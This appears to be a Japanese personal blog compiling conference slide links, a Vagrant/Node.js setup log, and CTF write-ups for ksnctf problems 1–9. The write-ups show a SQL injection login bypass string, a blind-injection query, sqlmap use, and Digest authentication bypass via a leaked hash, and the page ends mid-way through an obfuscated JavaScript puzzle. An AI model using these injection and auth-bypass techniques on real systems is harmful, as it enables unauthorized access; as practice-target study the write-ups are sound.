学問に王道なし

書山有路勤為径  学海無涯苦作舟

学問に王道なし

書山有路勤為径  学海無涯苦作舟

JJUG CCC 2018 Spring スライドまとめ

目的

JJUG CCC 2018のスライドを回収する

スライド

Tag タイトル スライド
ccc_a1 Spring Boot Actuator 2.0 & Micrometer Spring Boot Actuator 2.0 & Micrometer #jjug_ccc #ccc_a1
ccc_c1 マルチスレッド問題の特定と再現に頑張った話 マルチスレッド問題の特定と再現に頑張った話
ccc_e1 Javaはコミュニティの力で再び偉大になれるのか Javaはコミュニティの力で再び偉大になれるのか
ccc_g1 JavaWebサービスを作り続けるための戦略と戦術 TBD
ccc_i1 Introduction to MicroProfile Metrics Introduction to MicroProfile Metrics
ccc_l1 情報処理安全確保支援士とエンジニア TBD
ccc_m1 まだまだこれから!JUnit5入門 まだまだ間に合う!JUnit 5入門 / JJUG CCC 2018 Spring // Speaker Deck
Tag タイトル スライド
ccc_a2 Kotlin + Spring Bootでサーバー開発 Kotlin + Spring Bootでサーバー開発
ccc_a3 ざっくりわかった気になるモダンGC入門 introduction-to-modern-gc // Speaker Deck
ccc_c2 Concourse CI 入門 Concourse CI入門 ライブ環境構築&ビルド
ccc_e2 Java 9 Variable Handles TBD
ccc_g2 Swagger入門 Swagger jjug ccc 2018 spring
ccc_i2 ディープラーニングシステムの導入と運用で学んだ事 TBD
ccc_l2 OCJP SE 8 Gold合格までに取り組んだこと Jjugcccspring2018 l2
ccc_l3 SpotBugs3.1.xの現状と
内部実装が抱える問題 SpotBugs3.1.xの現状と 内部実装が抱える問題 // Speaker Deck
ccc_m2 Javadocから考える・はじめる業務改善 TBD
ccc_m3 Javaを通じて学ぶメールの世界 Javaを通じて学ぶメールの世界 // Speaker Deck
Tag タイトル スライド
ccc_a4 Get ready for a cloud native, service-meshed Java EE / Java in a World of Containers Java Day Tokyo 2018
ccc_c3 日本最大級の求人検索エンジン「スタンバイ」を支える技術 日本最大級の求人検索エンジン「スタンバイ」を支える技術 // Speaker Deck
ccc_e3 ReactiveだけじゃないSpring 5 & Spring Boot 2新機能解説 ReactiveだけじゃないSpring 5 & Spring Boot 2新機能解説
ccc_g3 LINE LIVE のチャットが
30,000+/min のコメント投稿を捌くようになるまで LINE LIVE のチャットが 30,000+/min のコメント投稿を捌くようになるまで
ccc_i3 Scala製システムを3年間運用することで起きた様々なことへの対処 TBD
ccc_l4 Apache Tinkerpopとグラフデータベースの世界 TBD
ccc_m4 収益を支える中規模アプリケーション開発奮闘記 TBD
Tag タイトル スライド
ccc_a5 如何に “データが壊れない” 管理画面を作るか - 管理画面開発の裏側 TBD
ccc_c4 JavaでインメモリSQLエンジンを作ってみた TBD
ccc_e4 Java10まとめと、どうなるJava11 Java10 and 11
ccc_g4 Spring Boot と一般ライブラリの折り合いのつけかた Spring Boot と一般ライブラリの折り合いのつけかた // Speaker Deck
ccc_i4 How to Properly Blame Things for Causing Latency How to Properly Blame Things for Causing Latency - JJUG 2018 // Speaker Deck
ccc_m5 Apache Kafkaとストリーム処理/Reactive Streams Apache Kafkaとストリーム処理/Reactive Streams // Speaker Deck
Tag タイトル スライド
ccc_a6 古いフレームワークでもマイクロサービスアーキテクチャにしたい 古いサービスでもマイクロサービスがしたい - Google スライド
ccc_c5 マネーフォワードのアカウントアグリゲーションにおけるデータ管理基盤について TBD
ccc_e5 JavaエンジニアのためのDocker入門 ~ 仮想開発・テスト環境構築 ~ TBD
ccc_g5 Eclipse Collectionsを現場に浸透させるためのフレームワーク対応 How Unext took in Eclipse Collections in FW // Speaker Deck
ccc_i5 Spring Cloud, Docker & Kubernetes - Lessons Learned in the context of an OSS Project TBD
ccc_m6 請負Java開発でスクラムした成功事例 TBD
Tag タイトル スライド
ccc_a7 Logicadの秒間16万リクエストをさばく広告入札システムにおける、gRPCの活用事例 Logicadの秒間16万リクエストをさばく広告入札システムにおける、gRPCの活用事例
ccc_c6 自分のDocker/K8s環境をタダで手に入れる ICP Community Editionで簡単構築 TBD
ccc_e6 REST API に疲れたあなたへ贈る GraphQL 入門 REST API に疲れたあなたへ贈る GraphQL 入門
ccc_g6 Spring Boot on Kubernetes : Yahoo!ズバトク事例 TBD
ccc_i6 Networks and Types -- Typed Reactive Systems with Akka TBD
ccc_m7 Java から TypeScript へ 切り替えて加速するサーバーレス開発 Slides | Riotz Works
Tag タイトル スライド
ccc_a8 DDDとクリーンアーキテクチャでサーバーアプリケーションを作っている話 TBD
ccc_c7 Java のデータ圧縮ライブラリを極める Java のデータ圧縮ライブラリを極める #jjug_ccc #ccc_c7 // Speaker Deck
ccc_c8 ビジネスとオープンソース - 戦略と手法 TBD
ccc_g7 JDBC APIもそろそろ非同期の波に乗りたいらしい TBD
ccc_i7 (俺が)はじめてのNetty 俺がはじめてのNetty(JJUG CCC 2018 Spring) #jjug_ccc #ccc_i7
ccc_l8 海外登壇経験者パネルディスカッション TBD
ccc_m8 GKEとgRPCで実装する多言語対応・スケーラブルな内部API TBD
ccc_m9 Google Dataflow(Java)を使ったビッグデータのバリデーション TBD
Tag タイトル スライド
ランチセッション 普通の人のためのJavaコミュニティイベントのススメ 普通の人のためのJavaコミュニティイベントのススメ - JJUG CCC 2018 Spring
LT WEBアプリケーション性能問題を診断する話 [JJUG CCC 2018 Spring LT Speech]WEBアプリケーションの性能問題を診断する話
LT Micronaut を試した Try micronaut
LT Spring Boot アプリケーションの起動を速くする 108 の Tips [https://www.slideshare.net/mikeneck/jjug-ccc-2018-spring-lt-spring-boot-108-tips-jjugccc-jjug:title:

U30スライドまとめ

目的

30歳超えたのでU30行けなかったが、日本の開発トレンドを把握するという観点で、
スライドをまとめる

Data編

No. タイトル スライド
data_1 機械学習ブームの裏側に TBD
data_2 夢と現実のバナー広告自動生成 TBD
data_3 4年間のデータ分析基盤の変遷とデータレイクの作り方 TBD
data_4 ユーザー行動の数理モデルと高速推薦システム ユーザー行動の数理モデルと 高速推薦システム // Speaker Deck
data_5 レコメンドは稼げる ランサーズにおけるデータ活用事例 ~ レコメンドは稼げる ~
data_6 1年半もかけてしまったビッグデータ環境のリプレイス TBD

サーバ・インフラ編

No. タイトル スライド
server_1 怠惰なエンジニアのためのコード生成 TBD
server_2 フロントだけじゃない!攻めるインフラエンジニア TBD
server_3 動画配信サービスとしてこの先生きのこるには 動画配信サービスとしてこの先生きのこるには / The way to continue as a video streaming service // Speaker Deck
server_4 U30エンジニアだからこそ実現できた劇的ビフォーアフター U30エンジニアだからこそ実現できた劇的ビフォーアフター #bcu30 // Speaker Deck
server_5 CKA取得までの道のり BCU30 - CKA取得までの道のり - Google スライド
server_6 カバレッジ95%以上を実現したテストコードの書き方 カバレッジ95%以上を実現した テストコードの書き方 // Speaker Deck
server_7 クラウドサービスの成長とログ基盤の進化 クラウドサービスの成長とログ基盤の進化
server_8 職業としてのデータベース管理家 TBD
server_9 モンストのサーバー負荷との戦い 〜あけおめ2018編〜 モンストのサーバー負荷との戦い 〜あけおめ2018編〜 / bcu_30_server_9 // Speaker Deck
server_10 技術者だけで回すDesign Sprint の成功と失敗。サーバサイドエンジニアがチームに貢献できた事。 TBD
server_11 事業を伸ばすエンジニアリング 事業を伸ばすエンジニアリング / Business Growth Enginner // Speaker Deck
server_12 極寒の地でマイニングファームを構築してみた TBD

クライアント編

No. タイトル スライド
client_1 VR版AbemaTVの裏側と視聴体験のデザイン TBD
client_2 チームで取り組む!Webアクセシビリティ TBD
client_3 先人の亡霊 VS 俺 〜 Rails の JS の場合 〜 先人の亡霊 VS 俺 〜 Rails の JS の場合 〜
client_4 年間60本のアプリを作ってみた結果w w w TBD
client_5 5年間VRゲームを作ってみた #BCU30 5年間VRゲームを作ってみた
client_6 僕が中学の頃から存在するサービスをモダンな技術で再構築しているのだが、、、(仮) TBD
client_7 「ちょっと大きな組織」での情報共有文化 TBD
client_8 複数人で高速に開発するための npm モジュール 複数人で高速に開発するためのnpmモジュール // Speaker Deck
client_9 CASHのユーザビリティを支える(泥臭い)技術 CASHのユーザビリティを支える(泥臭い)技術 // Speaker Deck
client_10 社内ツールのUI改善 TBD
client_11 Nuxt.jsとGraphQLから見えたWeb開発の未来 Nuxt.jsとGraphQLから見えたWeb開発の未来 // Speaker Deck
client_12 私がWebComponentsオネーサンです TBD

開発プロセス

No. タイトル スライド
develop_1 3年連続ベストアプリを受賞するまでの開発ロードマップと体制 TBD
develop_2 エンジニアが数字を作る開発チームの生まれ方 エンジニアが数字を作る開発チームの生まれ方 // Speaker Deck
develop_3 若手現場エンジニアが採用活動やってみたお話。 現場エンジニアが採用活動やってみたお話。 // Speaker Deck
develop_4 Gunosyの新規事業開発 TBD
develop_5 e-sports型リアルイベント運営を通じた経験とそこから得た業務での心構え TBD
develop_6 売り上げ約600億のプロダクト開発でクオリティとスピードの両方を求められた話 TBD

MacにてNodeを構築してみた

初めに

Mac環境にて、NodeJSを構築したことない為、
やってみようかなと思った。

簡単設計

MacBook Proは私用のやつなので、プラベートアカウントも使っている。
そこでファイアウォールやVirus対策ソフトいっさい入っていない為、攻撃されても気づかない。
そのリンクを考えた上で、仮想マシンを構築して対応するようにする。

環境構築

Vagrant

Vagrant by HashiCorp へアクセスし、DMGファイルをダウンロードしてインストールする。
結局仮想マシンののプロバイダもいる為、virtualboxも一緒にインストールする。
Downloads – Oracle VM VirtualBox

とりあえず下記のページ通りに、ターミナルで下記のコマンドを叩く

vagrant init centos/7
vagrant up 

が、下記のエラーが出ていた。

Stderr: VBoxManage: error: The virtual machine 'zhangnan_default_1523764035777_67688' has terminated unexpectedly during startup with exit code 1 (0x1)
VBoxManage: error: Details: code NS_ERROR_FAILURE (0x80004005), component MachineWrap, interface IMachine

調べてみると、MacOSのセキュリティー制限により、カーネルがブロックされたようだね。。
high sierra - VirtualBox 5.1.8 installation didn't install kernel extensions. How do I fix this? [macOS 10.13] - Ask Different
https://blog.keinos.com/20180204_3232

記事の通りにやってみた結果、問題なく起動できた。
f:id:zhangnan198711:20180415134217p:plain

そしてSSHしてみたら

choukusunokinoMacBook-puro:~ zhangnan$ vagrant ssh default
[vagrant@localhost ~]$ 

無事にログインできた!

NodeJS

下記のページをベースにして、インストールする
Installing Node.js via package manager | Node.js
バージョンについて、LTSはNodeJS8だが、最新版で良い為、NodeJS 9 にいく

# ソースlocation指定
curl --silent --location https://rpm.nodesource.com/setup_9.x | sudo bash -

# yum
sudo yum -y install nodejs
sudo yum install gcc-c++ make

そして試してやってみると、
f:id:zhangnan198711:20180415141414p:plain
うまく行った。

Express - Helloworld!

まずはフォルダを作成する

[vagrant@localhost ~]$ mkdir myapp
[vagrant@localhost ~]$ cd myapp/

そしてnpmで初期化

[vagrant@localhost myapp]$ npm init
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.

See `npm help json` for definitive documentation on these fields
and exactly what they do.

Use `npm install <pkg>` afterwards to install a package and
save it as a dependency in the package.json file.

Press ^C at any time to quit.
package name: (myapp) myapp
version: (1.0.0) 
description: Test App
entry point: (index.js) 
test command: 
git repository: 
keywords: 
author: ZHang
license: (ISC) 
About to write to /home/vagrant/myapp/package.json:

{
  "name": "myapp",
  "version": "1.0.0",
  "description": "Test App",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "ZHang",
  "license": "ISC"
}


Is this ok? (yes) 

いろんなのパラメータが聞かれた為、とりあえず規定値でいく
ここでyesをして、初期化が完了した。

そして、expressをインストール

npm install express --save

...が失敗した!

[vagrant@localhost myapp]$ npm install express --save
Unhandled rejection Error: ENOSPC: no space left on device, open '/home/vagrant/.npm/_cacache/tmp/56b3b56a'

Unhandled rejection Error: ENOSPC: no space left on device, open '/home/vagrant/.npm/_cacache/tmp/91ff8c38'

あれ?

[vagrant@localhost myapp]$ df -ah .
Filesystem                       Size  Used Avail Use% Mounted on
/dev/mapper/VolGroup00-LogVol00   38G   38G   60K 100% /

100%?!
調べてみると、vagrantは暗黙でmacのユーザーフォルダから、仮想マシンrsyncしてくれている。。。
これって、38GBでも足りないぞ...

そしてこの感じで設定変更し、スペースを解放して再installすれば
Disabling Default Rsync Of The Vagrant Docker Provider | WizOne Solutions

[vagrant@localhost myapp]$ npm install express --save
npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN myapp@1.0.0 No repository field.

+ express@4.16.3
added 50 packages in 2.108s

成功!

じゃサクッと、

[vagrant@localhost myapp]$ cat index.js 
var express = require('express');
var app = express();
app.get('/', function (req, res) {
  res.send('Hello World!');
});
app.listen(3000, function () {
  console.log('Example app listening on port 3000!');
});

index.jsを作成してみた。

それで、Helloworldができたはずだ。

[vagrant@localhost myapp]$ node index.js
Example app listening on port 3000!

けど、Macからアクセスできないでは??
そしてVagrantの設定ファイル*1にて、ポートマッピングを追加

config.vm.network "forwarded_port", guest: 3000, host: 1234

そしてhost側で

choukusunokinoMacBook-puro:Applications zhangnan$ vagrant reload

guest側にsshして、再起動してみ

choukusunokinoMacBook-puro:~ zhangnan$ vagrant ssh default
Last login: Sun Apr 15 05:36:57 2018 from 10.0.2.2
[vagrant@localhost ~]$ cd myapp/

[vagrant@localhost myapp]$ ll
total 28
-rw-rw-r--.  1 vagrant vagrant   211 Apr 15 05:47 index.js
drwxrwxr-x. 50 vagrant vagrant  4096 Apr 15 05:46 node_modules
-rw-rw-r--.  1 vagrant vagrant 13423 Apr 15 05:46 package-lock.json
-rw-rw-r--.  1 vagrant vagrant   264 Apr 15 05:46 package.json
[vagrant@localhost myapp]$ node index.js 
Example app listening on port 3000!

そーしーて
f:id:zhangnan198711:20180415145911p:plain

Job Done.

*1:一番最初に起動した際に、Vagrantfileという名前のファイルが同じフォルダにて作成されたはず

ksnctfをやってみた(#6 - #9)

CTF

ksnctf.sweetduet.info

下記のやつの続き
snowdays.hatenablog.com

6. Login

URLをアクセスみると、
f:id:zhangnan198711:20180415010347p:plain
Chrome先生は、「こいつはPHPだ」って報告してくれた。
f:id:zhangnan198711:20180415010433p:plain

PHPなら....SQL Injectionだね
推測ですが、恐らくここのSQLはこの感じだね。 (MySQLのはず)

SELECT '1' FROM user WHERE id = '[id]' AND password ='[pass]';

じゃ、下記のSQLへやってみよ

SELECT '1' FROM user WHERE id = 'admin' OR 1=1; -- AND password ='[pass]';

つまりここでの入力は、
' OR 1=1; --

前回これを入力するのは、12年前だね。。。
そしてログインしてみると、

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
$login = $r && $r->fetch();
if (!$login)
$err = 'Login Failed';
}
?>

が表示された。

「こんな簡単で解決したい?甘い!インジェクションでPWをとってくれ!」って書いている。。。むむ。。
動作原理的に、substrで一つずつ当たってみることだね。

SELECT * FROM user WHERE id='admin' AND pass='$pass'

SELECT * FROM user WHERE id='admin' AND substr((SELECT pass FROM user WHERE id='admin'), pass[0], 1) = 'Y'; --' AND pass='$pass'

が、面倒すぎなので、sqlmapさんにお願いする。。
sqlmap: automatic SQL injection and database takeover tool

ダウンロードして、設定すると、flagゲット。
FLAG_KpWa4ji3uXXXTrPK

(TBD)7. Programming

これってCPP書かれているが、
どう見てもWhitespace - Wikipediaなので、
一旦後回し。。。

8. Basic is secure?

いきなり下記のファイルが共有された
http://ksnctf.sweetduet.info/q/8/q8.pcap

pcapは、ネットワークトラフィックのキャプチャなので、
このサイトに分析してもらうPacketTotal - A free, online PCAP analysis engine


このCTFは、第三者からネットワークトラフィックを盗聴したというケースをシミュレーションしている。
pcapログからみると、明らかにbasic認証のpwが書かれている

Host: ctfq.sweetduet.info:10080
Connection: keep-alive
Authorization: Basic cTg6RkxBR181dXg3eksyTktTSDhmU0dB ★これ!
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ja,en-US;q=0.8,en;q=0.6
Accept-Charset: Shift_JIS,utf-8;q=0.7,*;q=0.3

cTg6RkxBR181dXg3eksyTktTSDhmU0dBはBase64なので、
デコードすれば

q8:FLAG_5ux7ccccccxxxxH8fSGA

ゲット!うーん。。簡単

#9. Digest is secure!
これって、Digest認証 - Wikipediaのアタックのはず。

A1= q9: secret:?????
A2=GET:/~q9/ → 31e101310bcd7fae974b921eb148099c
response=MD5(MD5(A1):bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b: 00000001: 9691c249745d94fc: auth:31e101310bcd7fae974b921eb148099c)
response=c3077454ecf09ecef1d6c1201038cfaf

が、逆算MD5のは、どう考えて無理では?
ちょっと下へリクエストを見てみると・・?

Authorization: Digest username="q9", realm="secret", nonce="bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b", uri="/~q9/htdigest", algorithm=MD5, response="d9f18946e5587401c303b34e00a059eb", qop=auth, nc=00000002, cnonce="6945eb2a7ba8cf7f"

q9:secret:c627e19450db746b739f41b64097d449

なる!!
この人、なぜか(?)htdigestを見てしまい、そして我々に盗聴してしまった!
htdigestのフォーマットは、

user:realm:md5(A1)

なので、
md5(A1) = c627e19450db746b739f41b64097d449
は分かった!!!

そこで、md5(A1)も分かったので、常にresponseを計算し、認証を突破できるでは?
ネットでググたら、下記のpyすでにあるため、直接利用した。
gist.github.com

そしてネットワークリクエストを構造して、アクセスしてみると

<!DOCTYPE html>
  <head>
    <meta charset="utf-8">
    <title>Q9</title>
  </head>
  <body>
    <p>FLAG_YBccccWEvC4pp3</p>
  </body>
</html>

ksnctfをやってみた(#1-#5)

1. Test Problem

テスト問なので、キーをコピーして合格

2. Easy Cipher

EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.

パッとみると、
シーザー暗号 - Wikipedia
と思う。
そこで、下記のサイトで解決してみると、
https://www.xarg.org/tools/caesar-cipher/

下記の平文をゲットした。

ROT XIII is a simple letter substitution cipher that replaces a letter with the letter XIII letters after it in the alphabet. ROT XIII is an example of the Caesar cipher, developed in ancient Rome. Flag is xxxxxxxxxxx. Insert an underscore immediately after FLAG.

3. Crawling Chaos

http://ksnctf.sweetduet.info/q/3/unya.htmlへアクセスし、
f:id:zhangnan198711:20180414222712p:plain
が出ている。

任意で入力して送信すると、
f:id:zhangnan198711:20180414222751p:plain
が出た。

まずはソースコードからみると、

(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー,(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーー=(ᒧᆞωᆞ).ᒧうーー- -(〳ᆞωᆞ).〳にゃー,(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃーー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーー=(ᒧᆞωᆞ).ᒧうーー- -(〳ᆞωᆞ).〳にゃー,(ᒧᆞωᆞ).ᒧうーーー=(〳ᆞωᆞ).〳にゃーー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーーー=(ᒧᆞωᆞ).ᒧうーーー- -(〳ᆞωᆞ).〳にゃー,(ᒧᆞωᆞ).ᒧうーーー=(〳ᆞωᆞ).〳にゃーーー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーーー=(ᒧᆞωᆞ).ᒧうーーー- -(〳ᆞωᆞ).〳にゃー,ー='',(ᒧᆞωᆞ).ᒧうーーー=!(ᒧᆞωᆞ).ᒧうー+ー,(〳ᆞωᆞ).〳にゃーーー=!(〳ᆞωᆞ).〳にゃー+ー,(ᒧᆞωᆞ).ᒧうーーー={這いよれ:!(〳ᆞωᆞ).〳にゃー}+ー,(〳ᆞωᆞ).〳にゃーーー=(ᒧᆞωᆞ).ᒧニャル子さん+ー,(ᆞωᆞᒪ)=(コᆞωᆞ)=(ᒧᆞωᆞ).ᒧうー,(ᒧᆞωᆞ).ᒧうーーーー=(〳ᆞωᆞ).〳にゃーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃー-(コᆞωᆞ)],(〳ᆞωᆞ).〳にゃーーーー=(ᒧᆞωᆞ).ᒧうーーー[(ᆞωᆞᒪ)- -(ᒧᆞωᆞ).ᒧうーー-(コᆞωᆞ)],(ᒧᆞωᆞ).ᒧうーーーー=(ᒧᆞωᆞ).ᒧうーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃーー-(コᆞωᆞ)],(〳ᆞωᆞ).〳にゃーーーー=(〳ᆞωᆞ).〳にゃーーー[(ᆞωᆞᒪ)- -(ᒧᆞωᆞ).ᒧうーー-(コᆞωᆞ)],(ᒧᆞωᆞ).ᒧうーーーー=(ᒧᆞωᆞ).ᒧうーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃーー-(コᆞωᆞ)],(〳ᆞωᆞ).〳にゃーーーー=(〳ᆞωᆞ).〳にゃーーー[(ᆞωᆞᒪ)-(コᆞωᆞ)],(ᒧᆞωᆞ).ᒧうーーーー=(〳ᆞωᆞ).〳にゃーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃー-(コᆞωᆞ)],(〳ᆞωᆞ).〳にゃーーーー=(ᒧᆞωᆞ).ᒧうーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃー-(コᆞωᆞ)],(ᒧᆞωᆞ).ᒧうーーーー=(ᒧᆞωᆞ).ᒧうーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃー-(コᆞωᆞ)],(〳ᆞωᆞ).〳にゃーーーー=(〳ᆞωᆞ).〳にゃーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃーー-(コᆞωᆞ)],(ᒧᆞωᆞ).ᒧうーーーー=(ᒧᆞωᆞ).ᒧうーーー[(ᆞωᆞᒪ)-(コᆞωᆞ)],(〳ᆞωᆞ).〳にゃーーーー=(〳ᆞωᆞ).〳にゃーーー[(ᆞωᆞᒪ)-(コᆞωᆞ)],(ᒧᆞωᆞ).ᒧうーーーー=/""ω""/+/\\ω\\/,(〳ᆞωᆞ).〳にゃーーーー=(ᒧᆞωᆞ).ᒧうーーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃー-(コᆞωᆞ)],(ᒧᆞωᆞ).ᒧうーーーー=(ᒧᆞωᆞ).ᒧうーーーー[(ᆞωᆞᒪ)- -(〳ᆞωᆞ).〳にゃーーー-(コᆞωᆞ)],(〳ᆞωᆞ).〳にゃーーーー=(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーーー,(ᒧᆞωᆞ).ᒧうーーーーー=(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうー+(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーーーーー	=(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーー,(ᒧᆞωᆞ).ᒧうーーーーー=(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーー+(ᒧᆞωᆞ).ᒧうーーーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(〳ᆞωᆞ).〳にゃーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧᆞωᆞ).ᒧうーーーー+(ᒧᆞωᆞ).ᒧうーーーーー+(ᒧᆞωᆞ).ᒧうーー+(ᒧᆞωᆞ).ᒧうーーー+(ᒧ